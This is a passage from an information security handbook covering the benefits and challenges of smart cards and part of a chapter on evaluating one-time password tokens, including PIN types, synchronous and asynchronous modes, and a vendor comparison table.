Logging On When people think about a smart card, the first thing that comes to mind is access to systems and data. Interestingly, smart cards have two basic uses for logging on to systems and applications. The first is pseudo-single sign-on (PSSO), where different username and password combinations are stored on the smart card and accessed upon future authentication challenges. A good example is RSA’s Sign-On Manager. Software is loaded onto the end user’s system that provides tools for using the smart card. One of the features of the Sign-On Manager is its ability to identify when a user is being challenged for credentials. When this occurs, the application provides the option to remember the credentials and store them securely on the card. The next time the user is challenged, the application will identify the authentication and act on behalf of the user entering their information. At this point, one might ask, “What is the difference between this and Microsoft’s ‘Remember Password’ function?” The most significant difference is that the credentials are securely stored on the card, and access to that information is controlled by a personal identification number (PIN) (in reality, it can be a phrase, like a password). Also, it provides the option to remember data associated with a diverse number of applications. The second, and perhaps most important, use of a smart card is to store digital certificates. Certificates can be used in combination with asymmetrical cryptographic functions to allow strong authentication utilizing public-key cryptography, greatly enhancing the identification and authentication of a given user. Again, access to the certificate and related keys is controlled by the smart card and ultimately a pass phrase to gain access to and use those stored credentials by embedded cryptographic functions on the card.
Features and Benefits Some uses of smart cards were introduced above, but what about the technical attributes of smart cards? The best way to consider use of smart cards in an enterprise is to understand that a smart card is a tool that can support a multitude of functions; however, it is common to confuse the smart card with its underlying services, such as public-key infrastructure (PKI) and digital signatures. To clarify, the card is a container of information, and the logic in the card supports the use of that data, but the card itself is not the provider of the broader set of services. To digitally sign a document, such as an e-mail, the card allows utilization of private-key cryptographic functions in a secure and authenticated manner. The application, in most cases, is unaware that the private data is being supplied by a smart card. More accurately, the smart card interacts with the user and system to allow use of the data. When this has occurred, the application will operate utilizing the operating system of the end system or other tools that permit the use of the data for the transaction. For example, consider a Microsoft XP user who wishes to sign an e-mail. The user authenticates to the smart card permitting the use of a S/MIME private key. That key, utilizing various forms of security, is accessed by way of the PKCS #11 standard and Microsoft’s CAPI, which links into the local store of the operating system where certificates are typically maintained. The e-mail application then utilizes that store to perform the signing. In reality, however, the certificate in the store is nothing more than a pointer to the smart card that allows the process to be performed on the card in a protected manner. By leveraging PKCS #11 throughout applications and services, smart cards can perform signing services to any data regardless of architecture. For example, a smart-card-enabled user may access a Citrix system to utilize
36
Information Security Management Handbook
an application client that interfaces with a centralized enterprise resource planning (ERP) system. Given that the MS client supports local store linking and PKCS #11 and Citrix supports PKCS #11 with its client, then all the ERP client application has to do is request signing services from the Citrix server and the physical card will be accessed via the Citrix client on the remote system. As far as the ERP client application knows, a signing certificate in the local store of the system is associated with the remote user via Citrix and it passes data for signing from the ERP database to the CAPI. At that point, Citrix sees the request to the local certificate store and generates a PKCS #11 request via the Citrix client to the remote user. The data is then passed through the local store on the user’s system and ultimately to the card for processing. This process allows application developers to be concerned only with typical MS CAPI calls to the operating system for certificate services. The association of the smart card is irrelevant to the application. When the data is sent to the card, it simply provides the requested functions and passes them back through the secured channels. A multitiered architecture with PKCS #11-enabled systems will effectively present a virtual smart card to the system accessible by way of the local certificate store on the operating system. The example provided here was for Microsoft applications; however, other operating systems employ similar certificate services to applications that can be tied to remote physical devices. What Is PKCS #11? PKCS #11 is a standard developed by RSA to allow access and sharing of tokens, such as smart cards. Cryptoki (short for “cryptographic token interface” and pronounced “crypto-key”) follows a simple object-based approach that addresses the goals of technology independence (any kind of device) and resource sharing (multiple applications accessing multiple devices), presenting to applications a common, logical view of the device referred to as a cryptographic token. Cryptoki is intended to be an interface between applications and all kinds of portable cryptographic devices, such as smart cards. Although some standards existed for interfacing hardware tokens, what remained were particular details for performing cryptography services. Also, the ability to offer resource sharing of the hardware token and allowing for provisional services in a multitiered architecture had yet to be defined. While PKCS #11 (Cryptoki) offers an object-based approach to accessing and processing data on smart cards, its adoption as a standard has resulted in simplified application development and greater options for smart-card integration. Since the introduction of PKCS #11 2.20 in June 2004, many vendors have used it as a mechanism to motivate smart-card solutions. One could conclude that the barrier to broad adoption of smart cards was the lack of a comprehensive process for token interface, and PKCS #11 has satisfied that requirement; therefore, the industry’s interest in smart cards has increased several fold because of the advances in deployment options and use.
Multifactor Authentication In general, the three types of authentication are: • Single-factor — Something you know, such as a password • Two-factor — Something you know and something you have, such as a password and a token together • Three-factor — Something you know, have, and are, such as a biometric mechanism coupled with a token and password Smart cards represent something you have. A user is in possession of a smart card and that, in and of itself, is helpful in offering two-factor authentication; however, an added layer of security and authentication is provided by the fact that the smart-card transaction is based on possession of the card and the existence of a pass phrase in combination with the data on the card. Based on these inherent attributes (e.g., possession, access control, and data) the use of the smart card meets, and arguable exceeds, the essential requirements for two-factor authentication Typically, the way smart cards are used for accessing computer and network resources is that a user inserts the smart card into a reader and then enters the PIN associated with that card in order to unlock the services of the card. In such a scenario, the first factor of security is providing something you have —
Smart Cards
37
a smart card. The second factor of security in this case is providing something you know — the PIN. The data on the card, validated by the existence of the card in combination with the access authenticated by the PIN, adds another layer to the security of the authentication process. Is this better than a traditional SecurID token solution? A typical two-factor authentication token provides individuality in the form of a cryptographic key embedded in the token that produces a unique number in a given time frame (e.g., every 60 seconds). The authenticating system, in this example an ACE server, will know, based on the token serial number, what number will appear on the token at the time of the challenge. If the correct number is provided by the user within the window of opportunity, along with other identification information (such as username and password), it is concluded that the user is in possession of the assigned token — the second factor. A smart card adds another level of integrity. The PIN provides access to the information on the card (not simply displayed as with a token), and the key on the device is used in the authentication process. When used in combination with certificates, one could conclude that a smart card is better, as the certificate participates in a larger infrastructure to maintain the integrity of the authentication process; however, if the smart card is simply providing stored credentials when a PIN is provided, it is effectively the same as a token and arguably less effective.
Leveraging Certificates With very little doubt, digital certificates can offer a great deal of security features to an organization. Certificates are founded on a trust model that is supported by the combination of technology, process, and, in many cases, legally binding attributes to ensure that the keys associated with the certificate are valid; however, one of the weakest elements of certificates and public-key cryptography, in general, is maintaining a level of assurance that the private key of an individual is in the sole possession of the user it was assigned to. Certificates primarily speak to the validity of the keys, the owner, and the issuer, but the private-key status is the other half of the equation, and it is feasible for that private key to have multiple instances if not designed and administered correctly — although this is not a recommended practice, as some solutions lack this control. Many technical solutions to dealing with private-key instances have been proposed, such as key escrows that divvy out the key upon authenticated request for temporary transactional use, but, it is important to know that, potentially, a private key can be loaded onto any system with only some controls in place to ensure that no duplicity occurs. Private-key multiplicity breaks several layers of security and trust. Although a certificate associated with a private key can be password protected, thus limiting its exposure to unauthorized use, this is not a forgone conclusion or a default configuration. Moreover, if the use of the key pair is related to nonrepudiation requirements, the single instance is further refined by the fact that the assigned user must be in possession of the key material. The entire concept of nonrepudiation is founded on a user being the sole owner and having possession of the private key. When it is copied, it can be assumed that the foundational integrity of the solution is completely undermined. In this light, smart cards offer an excellent option to greatly enhance the management of private keys and related certificates. Mind you, it is far from perfect, but the mobility offered by smart cards significantly reduces the exposure or any potential need or capability to copy the private key and allows for secure interaction with the private key; therefore, although the use of smart cards is not directly related to a PKI solution, the use of them significantly enhances the overall PKI solution. If nonrepudiation is a prerequisite, it is safe to say that smart cards are a requirement.
Custom Economy Every new, interesting technology comes with a “cool factor,” and smart cards are no different. As mentioned earlier, smart cards have integrated circuits that are comprised of memory, a processor, and built-in logic controls. The memory of the smart card can contain applications that, although small, can offer advanced services. Today, the application platform of choice is a Java Virtual Machine (JVM).
38
Information Security Management Handbook
Organizations can leverage a series of application building blocks to construct custom applications that can interact with systems in a secure manner. For example, it is a simple matter for a company to develop an internal prepaid or credit mechanism for employees purchasing items within the domain of that company. To demonstrate, an employee armed with a smart card, normally used as an employee identification badge, access card, and for signing e-mails, can insert the smart card into a reader in the company cafeteria to purchase lunch. In its most basic form, the card can maintain a copy of transactions that can be reconciled with direct payment from payroll. In a more complicated solution, the employee can load the card with credit at their workstation and then use the credit for lunch or buying a new mug in the company store. In Europe, smart-card readers are located at almost every cash point and are spreading to point-ofsale (POS) systems. For example, to buy a train ticket from Zurich to Geneva, a passenger inserts a credit card into the reader. If the card is not smart, the reader will simply access the magnetic strip; however, if an IC is present, it will interact with the embedded application for authentication and verification of the transaction. Another example is American Express’s Blue Card and others that have an embedded IC; people can use these cards at home for online transactions via a common card reader. The application on the card provides the services for interacting with an E-commerce Web site.
Challenges Nothing is perfect, and any technical solution that is positioned as the ultimate integrator is destined to disappoint at some point during its adoption, especially if its application security related. Of course, smart cards are not immune to this and have challenges in their own right.
Operational Considerations Obviously, the physicality of a card represents opportunities to lose, misplace, or forget it. Additionally, cards can be stolen, either by a motivated thief or indirectly in a stolen purse or car. Very little can be done from a business perspective. When a card is gone, it should be assumed that it will not be found or returned. It is hoped that the card does not have the PIN written on it or the thief does not know the PIN. Outside of these assumptions, the organization is relegated to reissuing the card and any credentials that are under the control of the company, such as certificates, and changing domain and application level passwords. If the card is associated with physical access, the association of the card to those controls must be permanently eliminated. It is apparent that companies depending on use of the card and information contained within the card must have a decommissioning process that includes emergency scenarios, much like an incident process. It must also include the ability to determine if a lost or stolen card is being used. Another set of issues that may arise given the physicality of the card and the nature of human beings is simply leaving the card in a system. In many cases, the PIN has a memory lifespan. Users insert their cards, enter their PINs, and begin their daily work. To avoid the constant challenge of entering a PIN, users have the option of setting a reauthentication window. If that window is too short, users will become frustrated by having to continually enter their PINs; however, setting it too long increases the risk of inappropriate use if and when a user steps away from the workstation, leaving the card in the system. Organizations that have very dynamic environments have opted for proximity cards for workstation access. Users maintain their cards somewhere on their person, and when the workstations are in use their cards are accessed. This procedure generally reduces the need for concern but does not eliminate it completely. All in all, it is a cultural challenge, and as with most things related to security it requires regular training and awareness campaigns to reduce people-related exposures. The cost of the card may seem palatable given the services it can provide and the overall enhancement of security, but a smart card is only one element of the entire solution. A card may cost, for example, US$10, but the provisioning, management, maintenance, and, most importantly, processes that must be performed to reissue a card can become very costly. Add to this the typical user’s limited understanding
Smart Cards
39
of how to employ the card and it becomes necessary to add the costs of help-desk-related activities. Of course, investments in training, process development, and proper planning of the solution will begin to take shape over time, reducing overhead related to card usage. Efficiencies will surface, and greater visibility with regard to management of the solution will help recoup initial investments to a point where returns can be realized.
Technical Considerations Although smart cards have several different applications, the attribute that stands out most is the use of Java applications embedded in the card. It is important to realize that many applications can be incorporated onto a single card, so it is necessary to test and trust these applications prior to integration with the card and extended applications, as well as have an understanding of the potential interactions of these applications within the card upon use and the effects on external applications and data. For example, when an applet is accessed to perform a function, another application may have the ability to interact with the transaction or even data on the card that is assigned to the originating application. Because a Java-enabled card allows multiple and possibly competitive applets to be maintained on the same card, the potential for security problems may arise. Many cards will have an application firewall embedded in the system to isolate functions performed by a given applet and to control access to data that may be stored or in use by that application. The firewall will prevent access to objects owned by other applets; however, in some situations multiple objects stored in memory may be required by different applets for various services. In these cases, the firewalling capability is challenged to maintain isolation in the event that common objects are required. A normal computer typically has ample memory to avoid object sharing; however, smart cards have only limited memory, potentially forcing the use of an object by different applications. The firewall must be able to assert privileges for object usage, but this is not always possible or within the capabilities of the smart-card vendor’s firewall code. As mentioned earlier, ISO 7816-2 defines the physical contacts of a smart card, and ISO 7816-4 seeks to define command sets for card operating systems. As with many standards, however, there is room for interpretation, and vendors will stretch the envelope of what can be performed by the card in an effort to offer new and exciting services. This is not new to technology, by any means, and it drives the entrepreneurial spirit to ensure liveliness in product development; however, the byproduct of early adoption of what could be construed as proprietary solutions sets the foundation for interoperability issues. Until greater convergence in the expectations of services and card production exists, complexities will always be encountered in a heterogeneous smart-card-driven environment. Unfortunately, no hard and fast answers exist to accommodate disparate cards in an organization. Although support for one card may be applicable in some situations, with another vendor’s application it can be expected that many of the unique services of the card will evaporate.
Conclusion Smart cards can be very effective in enhancing the security posture while simultaneously offering efficiencies within the enterprise. Moreover, they allow an organization to push the limits by digitizing common transactions and expanding the horizon of existing infrastructures. But these features and benefits come with a cost. Challenges in implementation, interoperability, and functionality will most certainly surface during adoption. Culturally, many users are typically unaware of what is going on within a seemingly innocuous piece of plastic and may have difficulty accepting its use or understanding the responsibility that comes with the card. Nevertheless, it is clear that smart cards are here to stay, and no doubt organizations have implemented smart cards, or are in the process of doing so, because the advantages can significantly outweigh the disadvantages of such a technology.
This page intentionally left blank
4 A Guide to Evaluating Tokens Joseph T. Hootman
Introduction Fixed passwords are no longer appropriate for controlling computer access. Effective access control calls for the use of dynamic passwords, which are generated by tokens, a calculator-type device. Many such devices have now been introduced into the marketplace, but no one is necessarily appropriate for all situations. This chapter discusses the use of dynamic passwords and describes the characteristics of currently available password generators and their advantages and disadvantages in particular situations. A table comparing the features of a selected group of tokens is included.
Dynamic Passwords The dynamic, or one-time, password is becoming a popular alternative to the fixed password. The basic concept of dynamic passwords is to prove a person’s identity by testing to ensure that that person possesses a unique key or password generator. The user is provided with a special-purpose calculator that generates an unpredictable number. This number is then used as a one-time password to enter into the computer. In some cases, the number is produced unilaterally by the token; in others, it is calculated in response to a challenge from the computer. In all cases, for each requested entry, the security software or hardware installed at the access control point calculates an expected response to the one-time password calculated by the token. If the two numbers match, the security system grants computer access to the individual carrying the token. Because a new password is produced or calculated each time access is requested, no password need ever be written down or memorized. Even if a password is copied, it is useless because a new password is generated each time. In some systems, reuse of the same password by the same user is extremely unlikely but statistically possible. Other systems offer protection against all reuse. In newer product offerings, the token may also be used as an employee ID card, a physical access control device, a calculator, or a credit card. Token-based access control has two essential parts: the unique tokens issued to the authorized users and the access control security system (software or hardware) installed at the access control point. (See the following section for a further discussion of authentication architectures for use at access control points.) A user gains computer access by entering a unique user ID into the access control system through the terminal or workstation. The access control system evaluates the user ID and determines whether it is authorized and, if so, how user authentication should occur — through a fixed password, a dynamic password, or, in some cases, a biometric device.
41
42
Information Security Management Handbook
For dynamic password authentication, the access control system database contains the type of token and the unique seed, or cryptographic key, stored in the token for each user ID. Other information about that user is also stored in the access control system, including authority group, location, fixed passwords, and authorization controls. Most access control systems have addressed the problem of lost tokens or unauthorized use of legitimate tokens. If an authorized user’s token is lost, the user cannot access the system and would therefore report the token as missing. The computer security administrator simply deletes the information on the prior token and replaces it with new data on the replacement token. To prevent unauthorized use, most systems use a personal identification number (PIN) to activate tokens. Without the proper PIN, the token still provides a password, but an incorrect one. Some tokens also provide duress codes, so the security software can recognize when users are being forced to use the token and issue appropriate warnings.
Authentication Architectures Five security architectures are currently available for access control and user authentication.
Workstation Authentication This approach, sometimes referred to as peripheral defense, places the authentication and access control system in the workstation. Normally, boot protection is also provided. Essentially, a user cannot gain access to the workstation nor to its ability to gain access to other resources without first proving that the specific requesting user is entitled to have such access. Generally, all workstations that have the capability to access protected target resources must have authentication capability.
Dedicated Authentication Systems Dedicated authentication systems are generally freestanding hardware devices installed in front of the computer resources to be protected. They are designed to protect access to the protected resources and also generally offer such nonsecurity capabilities as menuing and session logging.
Access Server Authentication Access server authentication systems are general-purpose communication devices, with various control, user menuing, and routing/switching features, to which security and authentication functions have been added.
Host-Based Authentication Host-based authentication software systems are designed to be installed on the protected resource itself to control access at the first entry port level or host communications point-of-entry. On large mainframes, the access control and authentication functions are usually coupled to the functions of a resource control program (e.g., Resource Access Control Facility, or ACF2).
Authentication Nodes An authentication node system offers an authentication server for the entire network. Either operating under Kerberos or a single sign-on approach, the user authenticates only once and either is given a ticket allowing access to other network resources or is granted access to a set of macro auto-log-on script files that can then be used to obtain access to other resources on the network.
A Guide to Evaluating Tokens
43
Modes of Token Operation The two most common modes of operation are asynchronous and synchronous. In the asynchronous mode, the access control software issues a cleartext challenge to the user that is displayed on the terminal or workstation screen. The user turns on the password generator, enters a PIN, enters the cleartext challenge into the token, and presses a key to cause the token to calculate the response. The response is then displayed on the token and the user keys that value into the terminal or workstation. Because the access control software in the protected computer knows the unique seed (i.e., encryption algorithm) assigned to that user’s token, it can calculate the expected response. If the two responses match, the user is granted access. In the synchronous mode, the access control software requests the password without calculating and presenting a challenge to the user. The user turns on the password generator, enters a PIN, reads the response from the display, and keys that value into the keyboard of the terminal or workstation. The computer knows the expected response through a combination of three factors: It knows the algorithm the token uses to calculate the response, it knows the unique key assigned to that token that will be used in calculating the response, and it knows the method used by the token to maintain dynamic password synchronization with the access control system. Maintaining password synchronization is a key factor in synchronous tokens. Asynchronous tokens essentially are resynchronized each time they are used, because the access control system issues a new challenge on each use. Synchronous tokens essentially issue their own challenge, and the access control system must be able to determine what that challenge is. The three common methods to do this are time synchronous, involving the use of time and other factors (using the clocks in the token and in the access control system and allowing for clock drift); event synchronous, involving use of a value developed from one-time modification of the last entry; and algorithmic synchronous, involving reverse engineering of the response to determine if the specific token could have generated that response. As in the asynchronous mode, if the two responses match then the user is granted access.
Passing Authentication between Computers In addition to the conventional use of tokens, it is important to consider five variations in authentication: • • • • •
In certain applications, it may be desirable to authenticate the workstation rather than the individual user. This is generally the case when the workstation is in a secured area and may be used by multiple people. Sometimes the use of tokens is not acceptable or cost justified. In these cases, a noncopyable software token may be installed in the workstation. (This approach obviously will not work with dumb terminals.) The user or system administrator will be required to authenticate at boot-up, generally with a fixed password; subsequently, any access request that is challenged will be answered automatically by the software token, transparently to the user. In cases where dynamic password security is used, no password aging is required; otherwise, the user or the software token must be able to respond to requests for password aging from the host system. An important variation of the software token is the use of a single sign-on software module in the workstation. For the user who needs to access multiple resources that require authentication (even if only ID and fixed password), single sign-on should be considered. This module works exactly like the software token but has the capability to store multiple software tokens and log-on macro script files. As with the software token, the module is noncopyable and requires workstation authentication to be
44
Information Security Management Handbook
activated. (Token authentication at the workstation level is highly recommended.) When activated, the module will automatically respond to authentication requests from any protected resource for which the module has an entry. An important development is the evolution of two types of network authentication nodes: • Kerberos authentication nodes — This type of node is being actively developed by a number of companies working to support this public domain software and by numerous user organizations. In this approach, the user logs into the Kerberos node (with either a fixed or dynamic password) and after authentication is given an encrypted, time-stamped “ticket.” The user can then take the ticket to any resource controlled by a Kerberos access module, present the ticket, and, if the ticket is correct, gain access. There is only one database, no synchronization is required, and access is available from any workstation; however, this approach lacks session control and logging of complete sessions. • Session control nodes — With this type of node, the user logs into the authentication node and after authentication is given a menu that contains that specific user’s choices for system or resource access. When the user makes a selection, the authentication node automatically logs the user into the requested resource and remains present during the entire session. This approach allows for the authentication node to provide the communication pathway to each resource and stay with the user during the entire session, providing complete session control and logging. When users complete their sessions or are logged out of the system, they are once again presented with their menus by the authentication node. It is possible to have only one database or multiple databases. It is therefore also possible to have several authentication nodes to balance the communication load. The functioning of the authentication node is an integral part of the regular network operating system and protocols; therefore, access to the authentication node is available from any workstation. To date, a limited amount of work has been done with host-to-host (also called peer-to-peer) authentication (except in the area of electronic data interchange); however, interest in this capability is growing rapidly, and it is not difficult to implement. The access control system can be installed as a gateway access system or as a system utility in the host (generally as part of the normal log-on procedure), or it can be software imbedded in an application program that is used in the peer-to-peer process. The responding system (essentially a software token or a secure autolog script file) can be installed as part of the telecommunications access software or can be imbedded in the application program that requests the peer-to-peer process. Note that it is not the user who is being authenticated here but rather the host or host application. It is probably wise to have users who initiate the process authenticate themselves to the system or application to enable use of the peer-to-peer authentication process. Host-to-user authentication has a limited purpose — to assure the user that the correct host has been accessed. This prevents simulating the intended host and trapping the user access to obtain IDs and passwords.
Types and Characteristics of Tokens A wide range of token devices is on the market. Most are area synchronous, using full challenge and response. All have some form of encryption, ranging from the full Data Encryption Standard (DES) to a variety of proprietary algorithms. Some tokens are calculators, most are not; some have replaceable batteries, and some are disposable after the batteries wear down (usually within three to five years). Smart cards are now being developed for use as tokens with both hard-wired and portable readers. Some smart cards and tokens can store multiple seeds and synchronization information that enable the user to access more than one computer without having to enter a long, random challenge. Some have the ability to operate with multiple encryption algorithm in multiple modes. All are easy to use and carry. The following sections describe some of these characteristics and their advantages and disadvantages.
A Guide to Evaluating Tokens
45
Initialization Some tokens are initially programmed at the factory, with the unique key being inserted or developed before shipment. Many tokens, however, are shipped blank, and the data security administrator must do the programming. (Generally, factory-programmed tokens can be ordered at an extra charge.) Although blank tokens may require more work for the data security administrator, they are often considered more secure than preinitialized tokens, which could be compromised between shipment from the factory and receipt. On the other hand, if the keys are developed under factory control, the data security administrator cannot compromise the tokens. To eliminate both these concerns, some tokens are designed to be field initialized by the end user. This type of token can be securely initialized even if the initialization is carried out across an unsecured network. Such cards were originally designed for online information services providers to be sent out through the mail to remote users, who would then log onto the system and initialize their cards by themselves. Only after this secure initialization process is completed can the privileged security supervisor gain access through the security software to the unique key. The user may reprogram the card at any time. This type of token was designed to provide direct accountability for system use. When users log onto the online system, they must prove their identity to gain access and, unless a token is reported lost or stolen, they are then held accountable for the resulting bill for services. When tokens are not initialized at the factory, the method for programming the tokens must be decided. Manually programming a few tokens is fine and may be necessary for some remote sites. Programming hundreds of tokens, however, is tedious and time consuming. An automatic programming device is recommended when tokens are not programmed at the factory.
Physical Characteristics Tokens are available in five basic physical types: • Hand-held calculator type with replaceable batteries • Flat calculator-type card without replaceable batteries (sometimes referred to as a supersmart card) • Conventional smart card with a chip embedded in the card, usually accompanied by a handheld device into which the card is slipped to provide the keyboard and display • Software token (described earlier) • Hardware device without a keyboard or display, manually installed by the user on a dial-up line, programmed to automatically respond to access control security system challenges Two main issues related to the physical characteristics of tokens are user friendliness and alternative applications of the token. User friendliness is of particular concern to organizations issuing tokens for the first time, especially to outside customers or to senior managers. They want to have a token that is unobtrusive and very easy to carry and use. Some of the newer tokens can be used as employee ID cards, physical access control devices, calculators, or credit cards. Opinions differ on whether tokens should be single-use devices(emphasizing the importance of security) or multiple-use devices (increasing user friendliness).
Keyboard and Display All of the devices come with a form of liquid crystal display (LCD), and most have a numeric keyboard. Some have keys for clearing the display and backspacing, making it easier for the user to correct mistakes when entering the challenge or programming the card. In both Europe and the United States, the introduction of the credit-card type smart card has brought about the need for a handheld device into which the card can be inserted to provide for standard token operation. (Normal use of these type of tokens is with a cable-connected card reader.) These hand-held devices have battery power, a keyboard, and a display but rely on the smart card itself for memory and processor capability.
46
Information Security Management Handbook
Three modes of display are commonly offered in the most popular tokens: straight decimal, hexadecimal, and a modified, nonambiguous hexadecimal. Some of the characters used in the hexadecimal display have the potential of being confusing (e.g., the number 6 and the lowercase letter b). Users who have problems with this display mode should be given tokens that use a straight decimal or nonambiguous hexadecimal mode, which substitutes ambiguous characters with less confusing characters. Hexadecimal displays provide greater security because of the greater number of combinations that can be represented. A final point about the display regards automatic shutoff, which is offered with most cards. This feature conserves battery power and reduces the exposure of information on the card display.
Maximum Password Length The longer the response to a challenge, the greater the security. This is simply a function of the complexity and time required to crack an encrypted response. At some point, however, additional security is not feasible or economical in light of the marginal gain that it provides. The maximum password length for two of the cards compared in Table 4.1 is 16 digits. (It could have been higher in those tokens but was limited to 16.) In the other tokens, the limit is 7 or 8. These limits are built into the tokens themselves, rather than in the supporting software. The chances of guessing a dynamic 8-digit password are 1 in 108, a large enough number to discourage most intruders.
Minimum Challenge Length The challenge is used only in asynchronous tokens. The supporting software controls the challenge length. Many security supervisors reduce the size of the challenge to improve ease of use. In some of the tokens a soft PIN (discussed in a later section) is used, which can also be used to reduce the number of characters in the challenge or eliminate it.
Synchronous Host Support If a user is working on more than one computer, secure access can be ensured in the following ways: • Use multiple tokens, one for each resource. • Place the same unique key in the database of each of the supporting software systems. This solution, however, could compromise the secrecy of the key because it is the same on each machine; therefore, the security of each system depends on all of the others. • Use a different PIN or password for each machine, where the PIN or password is combined with the one-time response. • Use a token that has the ability to support multiple keys. • Use a software token or single sign-on module that employs asynchronous token technology (full challenge–response) that is transparent to the user when in use. If a synchronous mode of operation is used and each computer has a different synchronization factor, the token must have multiple synchronous host support; that is, the token must be able to keep track of the synchronization factor for each machine. This is relatively easy for time-dependent tokens because of the clock in each machine and in the token control synchronization. The software must allow for clock drift between the two clocks to be in synchronization (current systems do so). The primary risk of drift allowance is exposure of the password; during the time when the validity of the password is being confirmed, it must be protected so that it cannot be used on other resources under the same software system. With event-synchronous tokens, on the other hand, the token must be able to keep track individually of the last event for each computer used. Without that capability, accessing a different computer causes the synchronization to change, destroying the synchronization for the previous computer and requiring a full challenge and response sequence to be performed to reestablish synchronization. Algorithmic-synchronous tokens have neither of these problems.
Token Comparison Chart Vendor
Comparison Criteria Model Hard PIN support PIN size User changeable Token attack deactivation Soft PIN support available Encryption algorithm Operational modes: Synchronous Asynchronous Battery: Replaceable Battery life Warranty Price for single unit Initialization: Factory Security supervisor User (TP = trusted person) Automated programming?
Safeworld MultiSync
Safeworld AccessCard
Racial WatchWord
Secure Net-Key
Safeworld DES Gold
Safeworld DES Silver
Sec Dynamics SecurID Card
— Optional 0.2–6 Yes No Optional DES/ANSI X9.9
— No N/A N/A No Optional Public key/proprietary
RG500 Required 4–6 Yes Optional No DES/proprietary
SNK004 Required 4–16 N/A No No ANSI X9.9
— Optional 0.2–6 Yes No Optional DES/ANSI X9.9
— No N/A N/A No No DES
SD/520 No N/A N/A No $Option Proprietary
SD/200 No N/A N/A No No Proprietary
Event Optional
No Yes
No Yes
Event Optional
Algorithmic Yes
Algorithmic No
Time No
Time No
No 3 yr
No 3 yr
Yes 2 yr
Yes 3 yr
No 3 yr
No 3 yr
1 yr $30–40
1 yr $20–30
90 days $57–65
1 yr $50
1 yr $40–50
1 yr $39–40
No Up to 4 yr; life $option Card life $42 and up
No Up to 4 yr; life $option Card life $34–70
$Option Yes Yes (TP) $Option
$Option Yes Yes No
No Yes Yes (TP) $Option
$Option Yes Yes (TP) $Option
$Option Yes Yes (TP) $Option
$Option No No $Option
Yes No No No
Yes No No No
A Guide to Evaluating Tokens
TABLE 4.1
47
48
Information Security Management Handbook
Hard Versus Soft PINs Two types of PINs are used in tokens: hard PINs and soft PINs. A hard PIN is entered into the token by the user and is evaluated in the hardware of the token logic. Because it is not known or evaluated by the software in the host computer, the hard PIN need never traverse a network nor be entered into the host computer software. A hard PIN can be changed in the token without coordinating that change in the host computer. Data security administrators have minimal control over hard PINs. A soft PIN is entered into the token by the user and directly influences the way in which the dynamic password is calculated. Unlike conventional fixed passwords, the soft PIN never traverses the network and is never directly entered into the host system by the user. The host computer software evaluates the dynamic password to determine whether the user entered the correct soft PIN; therefore, a change in the soft PIN in the token must be coordinated with the host computer software, usually by the data security administrator. The use of either type of PIN is highly recommended by token vendors because unauthorized users cannot use a token to gain access without knowing the PIN. Hard PINs are usually programmed into the token at the factory; some can be changed in the field. Soft PINs are generally set up by the factory or the data security administrator but are then changed at once by the user with a utility that interacts with the user and the host software. The utility software reverse engineers the soft PIN to determine the new PIN using constants known to both the token and the utility software. Opinions differ as to which type of PIN is best. Hard PINs are much simpler to administer, but soft PINs are much more flexible and can provide an additional level of security. Some tokens support both hard and soft PINs. When deciding whether to use a hard PIN or a soft PIN, the data security administrator should consider the following factors: • Does the token accept a hard PIN, or is a hard PIN optional? • What is the PIN size? A larger PIN is more difficult to break, but a four-digit PIN is considered standard and in most cases offers adequate security. • Can the hard PIN be changed in the field? • Does the token have an attack deactivation? This feature disables the card after a certain number of wrong entries and can be a desirable feature for foiling unauthorized users. The key factors in evaluating soft PINs primarily deal with whether support exists in the host security software and the size of the PIN supported. It is assumed that soft PINs are always user changeable.
Encryption Algorithms Three types of encryption are used in tokens to calculate unique dynamic passwords: • The Data Encryption Standard (DES) — The application of DES to tokens does not carry the strict export restrictions imposed by the U.S. government, because DES is used here to encrypt only the passwords, not user data. • ANSI X9.9 — This one-way encryption variant of DES is primarily used in message authentication. • Proprietary algorithms. A discussion of the advantages and disadvantages of various algorithms is beyond the scope of this chapter; company policy often dictates which algorithms may be used and therefore which tokens may be selected. It should be pointed out that encryption used in token authentication is not subject to export controls as are encryption systems for use in encoding user data. Because the only thing that is being encrypted and decrypted is the one-time password, the federal government does not restrict export of token technology. Smart cards that have encryption algorithms and cipher storage capability are subject to export controls.
A Guide to Evaluating Tokens
49
Operation Mode As discussed previously, the two main modes of token operation are asynchronous and synchronous. The asynchronous mode always uses a challenge and response, but the synchronous mode does not use the challenge. Some tokens offer both modes; some only one. The buyer must carefully consider the environment that is to be secured and the characteristics of the user community before choosing an operation mode. The following six factors may influence token selection: • Asynchronous tokens require more keystrokes than do synchronous tokens and are therefore considered less user friendly. • No synchronous tokens have replaceable batteries (some buyers prefer not to use throwaways). • If only software tokens are used, synchronous tokens offer no advantages. • Synchronous tokens may require additional administration by the security administrator for token/ system synchronization. • Users may already have tokens from another environment or application that can be used in the new environment. • In multiple host environments, some administrative or security issues may be avoided with the use of asynchronous tokens.
Battery All handheld tokens run on batteries. Batteries are evaluated according to their lifetime, whether or not they are replaceable, and whether or not the token must be reprogrammed when the battery is replaced. Batteries that are not replaceable should be guaranteed for long life. If the batteries are replaceable, it is preferable not to have to reprogram the token when the batteries are replaced. The major disadvantage of replaceable batteries is that access into the token case must be provided; because of this need to provide access, as well as the bulk of the battery, the cases must be larger than they are for tokens that have nonreplaceable batteries. Many users prefer smaller cases. Size preferences must be weighed against the cost of replacing the entire token when the battery dies.
Warranty The standard warranty for tokens is now generally one year, and the tokens have proved to be quite reliable.
Keystroke Security Ratio The keystroke security ratio is the number of keystrokes required to generate a password with a token, using a four-digit PIN, that reduces the possibility of guessing the correct password to less than 1 in 1 million. Table 4.1 includes the keystroke security ratio for various tokens. Tokens that operate in the synchronous mode have an advantage in that no keystrokes are required to enter the challenge. Token keyboard controls also play a role in that on buttons and enter keys can add to keystrokes. The point of applying this ratio is to gain the best balance between user friendliness and adequate security.
Product Offerings Several implementations of token technology have used the smart card format. AT offers a smart-card system with both a portable reader and an adjunct reader coupled to the user workstation. The portable reader is equipped with a full keyboard. When the user inserts the smart card into the reader and turns it on, the unit functions just like a conventional challenge–response token. With the adjunct reader, the user inserts the smart card and performs the initial host log-in, and the challenge–response is done
50
Information Security Management Handbook
